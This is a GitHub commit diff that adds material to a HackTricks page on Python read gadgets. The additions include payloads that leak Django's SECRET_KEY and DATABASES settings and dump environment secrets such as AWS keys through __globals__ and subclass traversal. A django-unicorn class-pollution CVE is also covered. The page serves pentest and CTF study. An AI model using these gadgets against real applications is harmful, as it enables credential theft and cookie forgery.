Skip to content

Commit 1008271

Browse files
authored
Merge pull request #1938 from HackTricks-wiki/research_update_src_generic-methodologies-and-resources_python_python-internal-read-gadgets_20260223_131849
Research Update Enhanced src/generic-methodologies-and-resou...
2 parents 3fb1442 + 9d53345 commit 1008271

1 file changed

Lines changed: 51 additions & 1 deletion

File tree

src/generic-methodologies-and-resources/python/python-internal-read-gadgets.md

Lines changed: 51 additions & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -41,7 +41,57 @@ Use this payload to **change `app.secret_key`** (the name in your app might be d
4141
4242
If the vulnerability is in a different python file, check the previous Flask trick to access the objects from the main python file.
4343

44-
{{#include ../../banners/hacktricks-training.md}}
44+
### Django - SECRET_KEY and settings module
45+
46+
The Django settings object is cached in `sys.modules` once the application starts. With only read primitives you can leak the **`SECRET_KEY`**, database credentials or signing salts:
47+
48+
```python
49+
# When DJANGO_SETTINGS_MODULE is set (usual case)
50+
sys.modules[os.environ['DJANGO_SETTINGS_MODULE']].SECRET_KEY
51+
52+
# Through the global settings proxy
53+
a = sys.modules['django.conf'].settings
54+
(a.SECRET_KEY, a.DATABASES, a.SIGNING_BACKEND)
55+
```
56+
57+
If the vulnerable gadget is in another module, walk globals first:
4558

59+
```python
60+
__init__.__globals__['sys'].modules['django.conf'].settings.SECRET_KEY
61+
```
62+
63+
Once the key is known you can forge Django signed cookies or tokens in a similar way to Flask.
64+
65+
### Environment variables / cloud creds via loaded modules
4666

67+
Many jails still import `os` or `sys` somewhere. You can abuse any reachable function `__init__.__globals__` to pivot to the already-imported `os` module and dump **environment variables** containing API tokens, cloud keys or flags:
68+
69+
```python
70+
# Classic os._wrap_close subclass index may change per version
71+
cls = [c for c in object.__subclasses__() if 'os._wrap_close' in str(c)][0]
72+
cls.__init__.__globals__['os'].environ['AWS_SECRET_ACCESS_KEY']
73+
```
4774

75+
If the subclass index is filtered, use loaders:
76+
77+
```python
78+
__loader__.__init__.__globals__['sys'].modules['os'].environ['FLAG']
79+
```
80+
81+
Environment variables are frequently the only secrets needed to move from read to full compromise (cloud IAM keys, database URLs, signing keys, etc.).
82+
83+
### Django-Unicorn class pollution (CVE-2025-24370)
84+
85+
`django-unicorn` (<0.62.0) allowed **class pollution** via crafted component requests. Setting a property path such as `__init__.__globals__` let an attacker reach the component module globals and any imported modules (e.g. `settings`, `os`, `sys`). From there you can leak `SECRET_KEY`, `DATABASES` or service credentials without code execution. The exploit chain is purely read-based and uses the same dunder-gadget patterns as above.
86+
87+
### Gadget collections for chaining
88+
89+
Recent CTFs (e.g. jailCTF 2025) show reliable read chains built only with attribute access and subclass enumeration. Community-maintained lists such as [**pyjailbreaker**](https://github.com/jailctf/pyjailbreaker) catalog hundreds of minimal gadgets you can combine to traverse from objects to `__globals__`, `sys.modules` and finally sensitive data. Use them to quickly adapt when indices or class names differ between Python minor versions.
90+
91+
92+
93+
## References
94+
95+
- [Wiz analysis of django-unicorn class pollution (CVE-2025-24370)](https://www.wiz.io/vulnerability-database/cve/cve-2025-24370)
96+
- [pyjailbreaker – Python sandbox gadget wiki](https://github.com/jailctf/pyjailbreaker)
97+
{{#include ../../banners/hacktricks-training.md}}

0 commit comments

Comments
 (0)